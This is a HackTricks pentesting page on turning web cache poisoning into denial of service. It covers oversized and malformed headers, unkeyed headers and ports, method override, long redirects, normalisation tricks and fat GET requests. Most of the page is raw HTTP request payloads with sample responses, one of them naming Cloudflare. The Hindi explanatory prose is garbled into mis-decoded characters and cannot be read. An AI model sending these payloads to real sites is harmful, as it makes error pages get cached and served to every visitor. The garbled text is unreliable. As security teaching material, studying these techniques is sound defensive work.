hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

9.2 KiB

Cache Poisoning to DoS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="danger" %} рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗ рдЬреЛ рдХреИрд╢ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╣реИрдВ {% endhint %}

  • HTTP Header Oversize (HHO)

рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рд╣реЗрдбрд░ рдХрд╛ рдЖрдХрд╛рд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдЖрдХрд╛рд░ рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ рд▓реЗрдХрд┐рди рдХреИрд╢ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдЖрдХрд╛рд░ рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛред рд╡реЗрдм рд╕рд░реНрд╡рд░ 400 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛ рдЬреЛ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP рдореЗрдЯрд╛ рдХреИрд░реЗрдХреНрдЯрд░ (HMC) рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдорд╛рди

рдПрдХ рд╣реЗрдбрд░ рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдХреБрдЫ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдореЗрдЯрд╛ рдХреИрд░реЗрдХреНрдЯрд░ рдЬреИрд╕реЗ рдФрд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВред рд╣рдорд▓реЗ рдХреЗ рд╕рдлрд▓ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдХреИрд╢ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

рдпрд╣ рднреА рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдорд╛рди рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

рдХреБрдЫ рд╡реЗрдмрд╕рд╛рдЗрдЯреЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд▓реМрдЯрд╛рдПрдВрдЧреА рдпрджрд┐ рд╡реЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реЗрдбрд░ рдЬреИрд╕реЗ X-Amz-Website-Location-Redirect: someThing рд╣реЗрдбрд░ рдХреЛ рджреЗрдЦрддреА рд╣реИрдВ:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

рдпрджрд┐ рд╕рд░реНрд╡рд░ X-HTTP-Method-Override, X-HTTP-Method рдпрд╛ X-Method-Override рдЬреИрд╕реЗ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде HTTP рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рддреЛ рдПрдХ рд╡реИрдз рдкреГрд╖реНрда рдХреЛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдХрд░ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдЗрд╕рдХрд╛ рд╕рдорд░реНрдерди рди рдХрд░реЗ рдФрд░ рдПрдХ рдЦрд░рд╛рдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рд╣реЛ рдЬрд╛рдП:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

рдпрджрд┐ Host рд╣реЗрдбрд░ рдореЗрдВ рдкреЛрд░реНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ рдЕрдкреНрд░рдпреБрдХреНрдд рдкреЛрд░реНрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, x рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХ рдРрд╕рд╛ URL рднреЗрдЬреЗ рдЬреЛ рдЗрддрдирд╛ рдмрдбрд╝рд╛ рд╣реЛ рдХрд┐ рдпрд╣ рдПрдХ рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рдПред рдлрд┐рд░, рдЬреЛ рд▓реЛрдЧ рдмрд┐рдирд╛ рдХреИрд╢ рдХрд┐рдП рдЧрдП x рдХреБрдВрдЬреА рдХреЗ URL рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ, рдЙрдиреНрд╣реЗрдВ рддреНрд░реБрдЯрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓реЗрдЧреА:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЗрд╕ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг

рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЛ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рд▓реЗрдХрд┐рди рдХреБрдЫ рд╡реЗрдмрд╕рд╛рдЗрдЯреЗрдВ рдЗрд╕реЗ рд▓реЛрдЕрд░рдХреЗрд╕ рдореЗрдВ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдпрджрд┐ рдпрд╣ рдирд╣реАрдВ рд╣реИ рддреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рддреА рд╣реИрдВ:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • рдкрде рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг

рдХреБрдЫ рдкреГрд╖реНрда рддреНрд░реБрдЯрд┐ рдХреЛрдб рд▓реМрдЯрд╛рдПрдВрдЧреЗ рдЬрдм рдкрде рдореЗрдВ рдбреЗрдЯрд╛ URLencode рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреИрд╢ рд╕рд░реНрд╡рд░ рдкрде рдХреЛ URLdecode рдХрд░реЗрдЧрд╛ рдФрд░ URLdecoded рдкрде рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

рдХреБрдЫ рдХреИрд╢ рд╕рд░реНрд╡рд░, рдЬреИрд╕реЗ Cloudflare, рдпрд╛ рд╡реЗрдм рд╕рд░реНрд╡рд░, рдмреЙрдбреА рдХреЗ рд╕рд╛рде GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ рдЕрдорд╛рдиреНрдп рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

рд╕рдВрджрд░реНрдн

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}